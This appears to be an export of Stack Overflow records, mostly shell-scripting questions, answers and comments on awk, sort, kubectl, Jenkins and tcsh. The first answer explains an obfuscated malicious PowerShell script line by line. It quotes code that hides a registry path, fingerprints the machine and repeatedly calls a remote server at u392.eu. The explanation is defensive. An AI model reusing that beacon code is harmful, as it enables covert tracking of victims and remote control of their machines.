has body: It definitely seems malicious--the script is trying very hard not to let anyone figure out what it's doing. I'll try to explain as best I can what each line is doing: ___ [Security.Cryptography.SHA256]$sha =[Security.Cryptography.SHA256]::Create() Creates a SHA 256 object for hashing text. This is basically using a complicated math problem to turn some text into a bunch of "random" characters. ___ $macguid = (Get-ItemProperty ((([regex]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$_.value}) -join '')) -Name MachineGuid).MachineGUID Gets your computer's GUID (basically a unique ID for each computer) from the registry. This is the first indication that it's malicious, because they intentionally typed the registry path (HKLM:SOFTWARE\Microsoft\Cryptography) backward to disguise it and used the RightToLeft regex to flip it back to normal. ___ $userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)" Gets your domain name, username, your CPU (processor) type, number of CPUs , and your computer GUID from earlier. Basically looks like this: contoso.comUser1a600Intel64 Family 6 Model 166 Stepping 0, GenuineIntel6724d2b3499-75c6-9fe7-9a51-428670b3ea5e ___ $guid = ($sha.ComputeHash([Text.Encoding]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join '' Takes all of the above information and creates a hash using the SHA 256 object from the beginning, which it can send back to their servers so they can decode and use the information. ___ while ($true) { try { This is starting a while loop, which means it'll keep running forever until the script is stopped. The try statement means if whatever commands run after fail, it'll stop and not continue the rest of the commands. But it's still within the while loop, so it'll circle back and try again. ___ $r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)" This is the most concernin…
score: 4
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/77070425
accepted answer of: http://stackoverflow.com/q/77070425

http://stackoverflow.com/a/77096759
has body: As mentioned in the comment, it's just: sort -k1.4 The syntax understood by sort is rather drily explained in the standard: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html (But it does provide a few examples.) It's worth remembering that locale settings affect output ordering.
downvote count: 0
has comment: http://stackoverflow.com/comment/135919581
answers question: http://stackoverflow.com/q/77096322
type: AcceptedAnswer
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/77096322
type: Answer

http://stackoverflow.com/q/77093883
tagged with: fish
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135908190
has answer: http://stackoverflow.com/a/77094262
has answer: http://stackoverflow.com/a/77095787
possible better answer: http://stackoverflow.com/a/77094262
has comment: http://stackoverflow.com/comment/135910881
has body: read -l -P "" number if test -z "$number" set number 2 end # do something e.g. echo "Processed" echo "Processed" I want to read something from the standard input and then do something, e.g. echo "Processed". When Ctrl C is inputted from the standard input, I wish do something will never be executed. However, do something is always be executed. I tried to use trap to kill %self, like trap 'kill %self' INT read -l -P "" number if test -z "$number" set number 2 end # do something e.g. echo "Processed" echo "Processed" However, %self should not be killed. This program is triggered by a shortcut. The pid of the program of the same as the pid of the terminal. Thus when kill %self is executed, the terminal is been closed. This is not expected. The pid of the program of the same as the pid of the terminal.
accepted answer: http://stackoverflow.com/a/77095787
downvote count: 0
has title: How to end the `read` command by ctrl c?
score: 1
upvote count: 1
favorite count: 0
type: AnsweredQuestion
tagged with: trap
answer count: 2

http://stackoverflow.com/comment/136104598
type: Comment
comment on: http://stackoverflow.com/q/77203420
has text: I don't recommend this, but you could run a cron job something like `find . -type f -exec sh -c 'for f; do head -n 1 "$f" | grep -qE "^#!/bin/(ba|[kz))?sh" && chmod u+x "$f"; done' _ {} +`
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135890523
score: 0
has text: Are you sure that's the only errors you get? `bash: 0x000f750d.wav: syntax error: invalid arithmetic operator (error token is ".wav")`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77083852

http://stackoverflow.com/comment/135990193
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77135598
has text: Aside from the erroneous space after the `--`, look at the file with a hex editor. Could it be that there is a space chracter after the first backslash?
type: Comment

http://stackoverflow.com/comment/136119864
type: QuestionComment
type: Comment
has text: yes (see first example)
comment on: http://stackoverflow.com/q/77212721
score: 0

http://stackoverflow.com/a/77129097
has body: Using rev and awk $ rev Test.txt|awk 'NF=4'|rev Sep 18 05:37 Server-23091805496-2-AC.log Sep 18 05:44 ServerM-23090331-5709-log.log Sep 18 05:46 Server-280334-12570-log.log Sep 18 05:47 Server-233405500-1-AC.log $ rev Test.txt|awk 'NF=1'|rev Server-23091805496-2-AC.log ServerM-23090331-5709-log.log Server-280334-12570-log.log Server-233405500-1-AC.log
score: 0
type: Answer
answers question: http://stackoverflow.com/q/77124850

react-native-macos
type: Tag
tags question: http://stackoverflow.com/q/77201768
tag name: react-native-macos

http://stackoverflow.com/q/77097393
score: 2
has title: Count reads in fasta file (loop)
tagged with: awk
accepted answer: http://stackoverflow.com/a/77097491
has answer: http://stackoverflow.com/a/77097601
type: Question
has body: I would like to count the number of reads in a fasta file using awk. A read in a fasta file starts with "> NAME" followed with a line and "DNA code". In my case, fasta files contain at least 1 read (thus not empty). I also have a lot of fasta files and I would like to loop this. Therefore I would also like to copy the name of the file into the output and paste the number of reads next to the name of the file in the output file. Fasta file example (File 1.fasta) >sequence A ggtaagtcctctagtacaaacacccccaatattgtgatataattaaaattatattcatat tctgttgccagaaaaaacacttttaggctatattagagccatcttctttgaagcgttgtc >sequence B ggtaagtgctctagtacaaacacccccaatattgtgatataattaaaattatattcatat tctgttgccagattttacacttttaggctatattagagccatcttctttgaagcgttgtc tatgcatcgatcgacgactg Fasta file example (File 2.fasta) >sequence A ggtaagtcctctagtacaaacacccccaatattgtgatataattaaaattatattcatat tctgttgccagaaaaaacacttttaggctatattagagccatcttctttgaagcgttgtc >sequence B ggtaagtgctctagtacaaacacccccaatattgtgatataattaaaattatattcatat tctgttgccagattttacacttttaggctatattagagccatcttctttgaagcgttgtc tatgcatcgatcgacgactg >sequence C ggtaagtgctctagtacaaacacccccaatattgtgatataattaaaattatattcatat tctgttgccagattttacacttttaggctatattagagccatcttctttgaagcgttgtc tatgcatcgatcgacgactg I've tried multiple scripts already Script 1 #!/bin/bash for file1 in ~/Test/*.fasta do outfile1=${file1}_readcount.txt awk -F ' ' -v out1=$outfile1 '{ if(NR==1) {lines[0]=lines[0] OFS FILENAME > out1; } if(FNR==NR) {grep -c "^>" $file1 > out1; } }' $file1 done It didn't give an error but also no output Script 2 awk ' BEGIN { OFS="\t" } #output field delimiter is tab FNR==1 { lines[0]=lines[0] OFS FILENAME } #append filename to header record FNR==NR {grep -c "^>" FILENAME } # counts number of ">" at the beginning of lines END { for (i=0;i<=FNR;i++) #loop through the line numbers print lines[i] } #printing each line ' *fasta > countreads.txt Here I only got the header in the file and thousands of empty rows. Expected ouput that I would like to get File1 2 Fi…
has answer: http://stackoverflow.com/a/77099256
tagged with: fasta
upvote count: 3
answer count: 3
tagged with: shell
favorite count: 0
has comment: http://stackoverflow.com/comment/135917153
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77097491
downvote count: 1
possible better answer: http://stackoverflow.com/a/77097601

http://stackoverflow.com/a/77172140
score: 4
upvote count: 4
accepted answer of: http://stackoverflow.com/q/77171720
downvote count: 0
has body: You have two containers in your pod: linkerd-proxy: Linkerd Sidecar Proxy backstage-backend: your container Try specifying the container instead of using the default one : kubectl exec -it backstage-test01-5d877c7f54-425s6 -n customer-namespaces -c backstage-backend -- /bin/bash In order to avoid that in the future, add the following annotation, in your deployment within pod spec (available starting from v1.21): kubectl.kubernetes.io/default-container This annotation will guarantee that you access to the right container instead of linkerd-proxy references : https://kubernetes.io/docs/reference/labels-annotations-taints/#kubectl-kubernetes-io-default-container https://github.com/kubernetes/website/pull/39899
type: Answer
has comment: http://stackoverflow.com/comment/136047700
answers question: http://stackoverflow.com/q/77171720
type: AcceptedAnswer

http://stackoverflow.com/comment/136131984
has text: @Charles Duffy, yeah. I would love to know how to run 'top' command once and extract its output twice to get CPU and memory. Any suggestion or link? Many thanks!
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77218091

http://stackoverflow.com/a/77147299
upvote count: 0
accepted answer of: http://stackoverflow.com/q/77147140
has comment: http://stackoverflow.com/comment/136004120
score: -2
has comment: http://stackoverflow.com/comment/136008522
type: Answer
answers question: http://stackoverflow.com/q/77147140
downvote count: 2
has body: The reasons why this question doesn't work. when executing a shell script from a shell, it will auto create a new child shell, which can not visit the parent shell variables; An environment variable is one that can be accessed in all the child or sub shells of the environment, however, a local shell variable can be accessed in only the shell in which it is defined. # parent shell, set a shell variable for the current shell (parent shell) $ NVM_USER=xgqfrms # call a shell script, which will create a new shell (child shell) $ ./test.sh # So, the child shell can not access the parent shell variables ✅ solutions 1. when using the same terminal (only one shell) use export to change a shell variable to a environment variable; # terminal $ export NVM_USER=xgqfrms $ ./test.sh As answered by Gilles Quénot 2. when using two different terminals (two shells / child processes) bash demo to make an environment variable persistent by defining a variable in the bash configuration file. # terminal 1 # 1. add your export variable to the shell config file $ sudo vim .bashrc export NVM_USER=xgqfrms # fresh the config $ source ~/.bashrc # terminal 2 $ ./test.sh environment variable vs shell variable Variables can be classified into two main categories, environment variables, and shell variables. Environment variables are variables that are available system-wide and are inherited by all spawned child processes and shells. Shell variables are variables that apply only to the current shell instance. Each shell such as zsh and bash, has its own set of internal shell variables. There are several commands available that allow you to list and set environment variables in Linux: env – The command allows you to run another program in a custom environment without modifying the current one. When used without an argument it will print a list of the current environment variables. printenv – The command prints all or the specified environment variables. set – The command sets or unsets shell variable…
has comment: http://stackoverflow.com/comment/136002897
has comment: http://stackoverflow.com/comment/136002919
has comment: http://stackoverflow.com/comment/136002987
has comment: http://stackoverflow.com/comment/136003451
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136007486

http://stackoverflow.com/comment/135961590
comment on: http://stackoverflow.com/a/77121447
type: Comment
type: AnswerComment
has text: @tripleee I added the dockerfile that I used SHELL instruction to use bash.
score: 1

http://stackoverflow.com/comment/135982614
type: Comment
has text: I didn't expect for `set -vx` to make any change in *how* your script would work. It should show you the exact command that the shell executes, preceded by the `+` char. Looking carefully at that final line that is executed may show some hint as to why you're not getting all of your tabs. Good luck.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77135598

http://stackoverflow.com/q/77191993
upvote count: 2
answer count: 2
tagged with: localhost
downvote count: 0
tagged with: wkhtmltopdf
linked to: http://stackoverflow.com/q/65439528
type: Question
tagged with: php
has comment: http://stackoverflow.com/comment/136083138
type: UnansweredQuestion
tagged with: exec
has comment: http://stackoverflow.com/comment/136090722
score: 2
has comment: http://stackoverflow.com/comment/136091041
has body: The following code only works in my Terminal but it doesn't work in my localhost xampp linux Unbuntu 20.04, Both shell_exec() and exec() don't work. When I go to localhot it executes all the code but not its two functions. The following code does not execute. // Add the --enable-local-file-access option to enable access to local files (HTML) $wkhtmltopdfCommand = "wkhtmltopdf --enable-local-file-access {$outputHtmlPath} {$pdfOutputPath}"; shell_exec($wkhtmltopdfCommand); I don't know if I need to change anything for this to work, but I need some advice.
has answer: http://stackoverflow.com/a/77196684
tagged with: shell
has title: The shell_exec and exec() commands don't work on linux Ubuntu in my localhost Ububtu 20.04
favorite count: 0
has answer: http://stackoverflow.com/a/77193269

http://stackoverflow.com/comment/136080513
comment on: http://stackoverflow.com/q/77190844
type: Comment
has text: Don't use `"$(declare ...)"`. Just use `"declare ..."`
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135951547
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77118875
has text: Why are you running cmd twice? (in which case it should be ```cmd /c "start cmd /k "$ParameterName""```). Why not just use ```cmd /k "$ParameterName"```
type: QuestionComment

http://stackoverflow.com/comment/135919030
comment on: http://stackoverflow.com/q/77100241
type: Comment
has text: I don't think that you can create an array of arrays for your `marker_pairs` with `tcsh`
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136156465
has text: Anyway, if you google "how to implement reverse shell" you'll find some tutorials.
comment on: http://stackoverflow.com/q/77231881
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77090496
type: Question
has comment: http://stackoverflow.com/comment/135903982
tagged with: eval
has body: Following setenv works in tcsh script but fails weirdly with eval in tcsh. I have 2 simple files with the following content > head *.tcsh ==> set.tcsh <== set intVar = 10 set strVar = a ==> setenv.tcsh <== setenv intVar 10 setenv strVar a The first file with set one works fine with eval, but the second file with setenv fails with the error setenv: Too many arguments > tcsh -c 'eval `cat set.tcsh` ; (set ; printenv) | grep -P "^...Var"' intVar 10 strVar a > tcsh -c 'eval `cat setenv.tcsh` ; (set ; printenv) | grep -P "^...Var"' setenv: Too many arguments. But both scripts work fine as standalone tcsh scripts > echo 'echo $intVar $strVar' >> set.tcsh > echo 'echo $intVar $strVar' >> setenv.tcsh > tcsh ./set.tcsh 10 a > tcsh ./setenv.tcsh 10 a It sounds weird the eval has all the issues. Tcsh version > which eval eval: shell built-in command. > tcsh --version tcsh 6.21.00 (Astron) 2019-05-08 (x86_64-unknown-linux) options wide,nls,dl,al,kan,sm,rh,nd,color,filed Why eval is behaving that way, anything alternative to eval that is recommended in tcsh?
score: 0
answer count: 0
has title: Why setenv fails when set works find in tcsh
has comment: http://stackoverflow.com/comment/135904042
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135907856
has comment: http://stackoverflow.com/comment/135902889
tagged with: tcsh

http://stackoverflow.com/a/77193805
has body: The short answer is 'no'. From the documentation: ECHO does not affect the display of commands you enter interactively or redirect to SQL*Plus from the operating system. That's the SQL*Plus documentation; the SQLcl documentation doesn't go into much detail but in general it behaves the same as SQL*Plus.
score: 4
has comment: http://stackoverflow.com/comment/136100199
upvote count: 4
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77192256
type: Answer
accepted answer of: http://stackoverflow.com/q/77192256

http://stackoverflow.com/comment/135982415
comment on: http://stackoverflow.com/q/77135598
score: 0
has text: @knittl sorry, got it now. I did remove all the spaces after backslash. I no longer get any errors, but my new terminal windows opens up with a single tab and not with three tabs
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135986363
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77138083
type: Comment
has text: Your bash shell should not be using windows paths.

http://stackoverflow.com/a/77171766
type: Answer
answers question: http://stackoverflow.com/q/77171720
score: 1
upvote count: 1
downvote count: 0
has body: Some time this Pods get stack on PodsCreation and goes into a error loop, if you check it up you might be able to spot an error there.. You can easily check it with following command; kubectl logs -f myPodName From the log trail - make sure yourPod is running then to you can do something like; kubectl exec --stdin --tty myPodName -- sh And then check if you can get into shell..

http://stackoverflow.com/comment/135977952
type: Comment
has text: Why not write this command in a shell script, copy that in the container and execute?
score: 0
comment on: http://stackoverflow.com/q/77133248
type: QuestionComment

gnu-parallel
tags question: http://stackoverflow.com/q/77201320
tag name: gnu-parallel
type: Tag

http://stackoverflow.com/comment/136132822
has text: it's worh testing if the destination already exists, otherwise it will get overwritten and lost. also, if the script gets run twice on the same set of files, it would make sense for nothing to get renamed the second time.
comment on: http://stackoverflow.com/a/77219653
score: 2
type: Comment
type: AnswerComment

http://stackoverflow.com/q/77205859
has title: Select shell for interactive window in vscode
has comment: http://stackoverflow.com/comment/136148204
tagged with: visual-studio-code
has comment: http://stackoverflow.com/comment/136112002
has comment: http://stackoverflow.com/comment/136122272
score: 0
type: Question
answer count: 0
tagged with: shell
linked to: http://stackoverflow.com/q/52330492
type: UnansweredQuestion
has body: TLDR How can I select the shell that is used for the jupyter interactive notebooks, in vscode? Details I have several shells installed on my machine: the factory-installed zsh and bash and a newer bash. In vscode, the terminal window (A in screenshot) can be configured to use any one of these. This means that e.g. aliases and exports in that shell (like BELVIS_USR in this case) defined are available. So far, so good. But. I also run much code in the interactive window (B). There, apparently a different shell is used, as the same environment variable is not available (C). This question is not about defining environment variables to be used in the interactive window, but rather which shell is being used by it. Filtering the settings by 'interactive', I do not find a settings for the shell like there is in case of the integrated terminal. How can I ensure the interactive code is run in my shell of choice?

http://stackoverflow.com/comment/136100116
type: QuestionComment
has text: https://stackoverflow.com/questions/39307615/why-cannot-i-define-an-empty-function-in-shell holds an explanation for the error message
type: Comment
comment on: http://stackoverflow.com/q/77201945
score: 1

http://stackoverflow.com/a/77121813
has comment: http://stackoverflow.com/comment/135957682
has comment: http://stackoverflow.com/comment/135957704
answers question: http://stackoverflow.com/q/77121773
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77121773
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: First, you need to remove CRLF windows line ending with: dos2unix Filenames.txt Then, what I would do: #!/usr/bin/env bash while IFS= read -r file; do echo &quot;$file|$(&lt; $file)&quot; done &lt; Filenames.txt &gt; Outputfile.txt cat Outputfile.txt File1.txt|This is content of File1 File2.txt|This is content of File2 File3.txt|This is content of File3 Your shebang #!usr/bin/env bash was wrong, missing leading / on usr. My version is simplified, based on your code. To parse a file line by line, don't use a for loop, read https://mywiki.wooledge.org/BashFAQ/001

http://stackoverflow.com/comment/136004174
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77148106
has text: For a simple example, with `command1 | command2` you have one pipeline, with two commands, and that requires a *third* entry in the `commands` array for the null-pointer terminator. Are you sure you allocate enough elements for the `commands` array?
type: Comment

http://stackoverflow.com/comment/136093269
has text: I had tried putting double quotes around "$finalcommand". I get a 'File name too long' error instead.
score: 0
comment on: http://stackoverflow.com/q/77197549
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135939752
type: Comment
type: AnswerComment
has text: Thanks This does not work on Mac `--bytes not recognised` but I will accept this solution if no other one comes later.
comment on: http://stackoverflow.com/a/77107151
score: 0

http://stackoverflow.com/comment/136105686
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77204784
has text: If you have a NixOS system available, you could also use `nix-shell -p busybox -c busybox grep -Po 'URL=\K.*' myfile.txt`
score: 0

http://stackoverflow.com/q/77144870
has comment: http://stackoverflow.com/comment/135998974
downvote count: 0
tagged with: bash
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135999076
has title: Unable to substitute variable in bash script inside Jenkinsfile
accepted answer: http://stackoverflow.com/a/77145366
tagged with: jenkins-pipeline
type: Question
tagged with: shell
tagged with: jenkins
has answer: http://stackoverflow.com/a/77145366
has body: I am facing a very weird issue in my groovy based Jenkinsfile. I have a variable which I need to substitute inside my shell script for the name of the docker container. But no matter what I try it is never able to read that variable. The fact that it makes it weird is I can read the value of variable after and before the script statement, but not inside it. Can anyone explain why is this issue and how to fix this? Section of my Jenkinsfile - stage('Snyk Scan') { if (params.buildDockerImage == 'true') { println(ANSI_BOLD + ANSI_GREEN + "build_tag with value as: " + build_tag + ANSI_NORMAL) // this works sh("echo build tag is ${build_tag}") // this works too sh ''' export NVM_DIR="$HOME/.nvm" [ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" [ -s "$NVM_DIR/bash_completion" ] && . "$NVM_DIR/bash_completion" snyk container test ${hub_org}/player:${build_tag} --json | snyk-to-html -d -o snyk_results.html ''' sh("echo build tag is ${build_tag}") // even this works } } When I see the console output it is as - 22:54:42 + snyk container test registery/sunbidrded/player: --json 22:54:42 + snyk-to-html -d -o snyk_results.html 22:54:47 Vulnerability snapshot saved at snyk_results.html [Pipeline] sh 22:54:47 + echo build tag is container_scanning_ad2aecee29_23 22:54:47 build tag is container_scanning_ad2aecee29_23 as you can see in the portion of snyk container test registery/sunbidrded/player: after colon build_tag is always blank. I have tried enclosing the ${hub_org}/player:${build_tag} inside double quotes, and also tried storing the string inside a variable and then substituting it in statement, but that also doesn't work. I have defined the build_tag here - node('build-slave') { try { String ANSI_GREEN = "\u001B[32m" ... // (other color variables) ansiColor('xterm') { timestamps { stage('Checkout') { if (!env.hub_org) { println(ANSI_BOLD + ANSI_RED + "Uh Oh! Please set a Jenkins environment variable named hub_org with value as registery/sunbidrded" + ANSI_NORMAL) error 'Plea…
score: 1
has comment: http://stackoverflow.com/comment/135998785
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/135998683

http://stackoverflow.com/a/77121868
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/77120045
has body: The end time of each chapter is the start time of the next chapter. You thus have to know the start time for the next chapter (or, for the last chapter, the end of the file) before you can output it. Using the command from https://superuser.com/a/945604 to get the total duration, and Awk to perform the overall parsing, #!/bin/sh input_file="chapters.txt" output_file="chapters.ffmetadata" awk -F= -v duration=$(ffprobe -v error \ -select_streams v:0 -show_entries stream=duration \ -of default=noprint_wrappers=1:nokey=1 \ input_video.mp4) ' function chapter(start, end, title) { print "[CHAPTER]" print "TIMEBASE=1/1000" print "START=" start "000" print "END=" end "000" print "title=" title } BEGIN { print ";FFMETADATA1" } { split($1, hms, ":") ; end=3600 * hms[1] + 60 * hms[2] + hms[3] } title { chapter(start, end, title) } { start=end; title=$2 } END { chapter(start, duration, title) }' "$input_file" > "$output_file" ffmpeg -i input_video.mp4 -i "$output_file" -map_metadata 1 -c:v copy -c:a copy -y output_video.mp4 Nothing here uses Bash features, so I used a /bin/sh shebang. Properly speaking, you probably want to make the input video and output video file names into command-line arguments. If you are unfamiliar with Awk, learning enough to write a script like this should not take long. A basic one-hour tutorial will already be quite sufficient, and pay back handsomely if you need to solve other problems like this. Demo of the Awk part: https://ideone.com/scXWNJ
type: AcceptedAnswer
score: 2
accepted answer of: http://stackoverflow.com/q/77120045
downvote count: 0

break
tag name: break
type: Tag
tags question: http://stackoverflow.com/q/77184696
tags question: http://stackoverflow.com/q/78687148

http://stackoverflow.com/a/77161429
has comment: http://stackoverflow.com/comment/136030808
type: Answer
answers question: http://stackoverflow.com/q/77161387
score: 0
has body: What I would do, using shell glob: cd ${CI_PROJECT_DIR}/src/ folders=( */ ) printf '%s\n' &quot;${folders[@]}&quot; Globs are shell patterns that can be used for matching strings or expanding pathnames: $name = Bob* rm -- *.txt See http://mywiki.wooledge.org/glob DO NOT USE ls output for anything. ls is a tool for interactively looking at directory metadata. Any attempts at parsing ls output with code are broken. Globs are much more simple AND correct: for file in *.txt. Read http://mywiki.wooledge.org/ParsingLs

http://stackoverflow.com/comment/136109522
score: 0
has text: @langepass88 all the versions of my code exit with non-zero if any file is not found
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77205722

http://stackoverflow.com/comment/135962530
comment on: http://stackoverflow.com/q/77124682
type: Comment
has text: Does [this](https://stackoverflow.com/questions/2746553/read-values-into-a-shell-variable-from-a-pipe) answer your question?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135918853
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77100054
has text: Does that help? `REP="s/{{CODE}}-project$/123-project/"`

http://stackoverflow.com/comment/135958012
has text: There's no more 2 shells
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77122642

http://stackoverflow.com/q/77082012
tagged with: docker
has comment: http://stackoverflow.com/comment/135887586
score: 0
tagged with: shell
tagged with: bash
linked to: http://stackoverflow.com/q/69733819
answer count: 1
has body: I have a dockerfile that is based on an IBM MQ homemade image (I don't have its sources but its a linux distro). I want to run the image pass some scripts and keep it runing as daemon. But each time I try to pass some commands for mq such as : echo "DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)" | runmqsc TEST nothing happen. I have tried RUN echo "DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)" | runmqsc TEST then ENTRYPOINT ["echo \"DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)\" | runmqsc TEST"] or in my docker-compose file : entrypoint: ["myscript.sh"] where myscript contain the previous bash script also tried creating a second container depending on my first one : mqsetup: image: myimage depends_on: - mq restart: "no" entrypoint: [ "bash", "-c", "sleep 10 && echo \"DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)\" | runmqsc TEST"] also tried to use the command method : command: - myscript.sh nothing works. But if I exec into the container : docker-compose exec mq /bin/bash and then execute my script : echo "DEFINE QLOCAL(TEST_01.TEST.SOMETHING.DEV)" | runmqsc TEST my queue is created onto my queue manager TEST... To be fairly honnest I am a bit lost, I know that my script is runned because I debuged it with some touch and echo to know if something happen... At first I tought that it was too soon to paste the script but that's not it (tried to wait 5 minutes with sleep 5m before asking for launching the script but with no luck, and if I try to launch quicker than 5 min but by hand in exec mode, it works well...)
accepted answer: http://stackoverflow.com/a/77083114
has title: In docker, cannot execute script to manage ibm mq queues when lauching container
has answer: http://stackoverflow.com/a/77083114
type: Question
type: AnsweredQuestion
tagged with: docker-compose
tagged with: ibm-mq

http://stackoverflow.com/comment/136105673
type: Comment
score: 0
type: AnswerComment
has text: Can you give an example where we can test ?
comment on: http://stackoverflow.com/a/77204784

launch-agent
tag name: launch-agent
type: Tag
tags question: http://stackoverflow.com/q/77168940

http://stackoverflow.com/q/77107084
tagged with: macos-big-sur
linked to: http://stackoverflow.com/q/6153345
tagged with: mkdir
has comment: http://stackoverflow.com/comment/135936059
has body: I tried to execute mkdir with emojis to create directories. mkdir succeeded, but mkdir failed with error message Illegal byte sequence. Is there anyway to successfully create the directory with the later emoji? (macOS Big Sur 11.7.2, zsh)
tagged with: emoji
has comment: http://stackoverflow.com/comment/135936109
has comment: http://stackoverflow.com/comment/135930725
score: 0
type: Question
answer count: 0
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135930759
has title: mkdir with some emoji returns error: illegal byte sequence
has comment: http://stackoverflow.com/comment/135930708
tagged with: unicode

http://stackoverflow.com/comment/136109734
has text: @langepass88 my code looks in the current directory for the filename stored in script.txt as stated in your question. If that's not what you want you should provide more complete details
comment on: http://stackoverflow.com/a/77205722
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136163186
comment on: http://stackoverflow.com/a/77235822
has text: Thank you. Is there a way to ensure the output is ordered for students without certificates in some types, as below: `Paul Simons, [music, 3, 2023-01-28], [sports, 2, 2021-02-02]. Other person, [music, null, null], [sports, 1, 1998-01-01].` Now that I've been reading further, I see it would be better to keep the data in an object, then flatten the json using to_entries then convert to @csv. Keen to read your thoughts.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135865586
score: 0
comment on: http://stackoverflow.com/q/77060368
has text: Output is comma delimited csv file. Currently it is consecutive space delimited until text as provided in sample data. Let me know if you need more details
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135888684
score: 0
comment on: http://stackoverflow.com/q/77082545
has text: @AndresBores That's a great suggestion! I wonder though how fast would loading 300MB from EFS be...
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136022576
type: Comment
has text: please include that same first line of your script (often `#!/bin/bash`). To debug yourself, "wrap" the offending setup and `ls` lines with `set -vx` and `set +vx` (for shell debug/trace on and off). Good luck.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77158416

http://stackoverflow.com/comment/136019809
score: 2
type: QuestionComment
has text: I would, after splitting, loop over the alphabetically sorted list of `testXX` files, and rename them according to your descired naming scheme.
comment on: http://stackoverflow.com/q/77156311
type: Comment

http://stackoverflow.com/comment/136032369
score: 1
comment on: http://stackoverflow.com/q/77163838
type: QuestionComment
type: Comment
has text: With `shell=True`: *"If args is a sequence, the first item specifies the command string, and any additional items will be treated as additional arguments to the shell itself."* - so in your example, `path_parts` is being passed as an arg to the shell, not to VS Code. Does your code not work with the default `shell=False`?

http://stackoverflow.com/comment/136178774
type: Comment
has text: I did added test by entering Debug.Print arr_txt(i, 2), arr_txt(i, 1), and debug.print NewContent. The Debug.Print arr_txt(i, 2), arr_txt(i, 1) lists all the values from D2:E4 in order D2, E2, D3, E3, D4, E4, but it looks the 'Replace' function' doesn't work because the values in E2:E4 in my worksheet 'Sheet1' do not change. Also, debug.print NewContent still shows the original values instead of values from D2:D4
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77230785

http://stackoverflow.com/comment/136146314
comment on: http://stackoverflow.com/q/77226745
has text: Possible duplicate of [When to wrap quotes around a shell variable?](https://stackoverflow.com/questions/10067266/when-to-wrap-quotes-around-a-shell-variable)
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/136072197
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77185980
type: QuestionComment
has text: Hi, sorry for the confusion. yes I want the output like "element1" -> "element 1"

http://stackoverflow.com/a/77177507
has body: The simplest way, working in all jq versions: map({ iid, project_id, ref, status, source, created_at, updated_at, web_url }) Demo
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/77170372
type: Answer
score: 1

http://stackoverflow.com/comment/136043196
comment on: http://stackoverflow.com/a/77166393
has text: https://edwards.flinders.edu.au/fastq-dump/ suggests that maybe `fastq-dump` is not at all competently written. Quick Duck Duck Going brought up an alternative called `fasterq-dump`
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136145968
has text: You quote the input right? If you are passing `0 * * * *` it must be quoted to prevent *pathname-expansion*, e.g. `"0 * * * *"`. (it also must be quoted so the entire string constitutes one argument)
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77226745

http://stackoverflow.com/a/77181204
accepted answer of: http://stackoverflow.com/q/77175255
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77175255
downvote count: 0
type: Answer
has body: Thank you guys, specially to user jhnc, his solution works for me, just do it: dos2unix file.txt Then run the loop in git bash: while read line; do git rm --cached "$line"; done < files.txt
type: AcceptedAnswer

http://stackoverflow.com/a/77133667
type: Answer
type: AcceptedAnswer
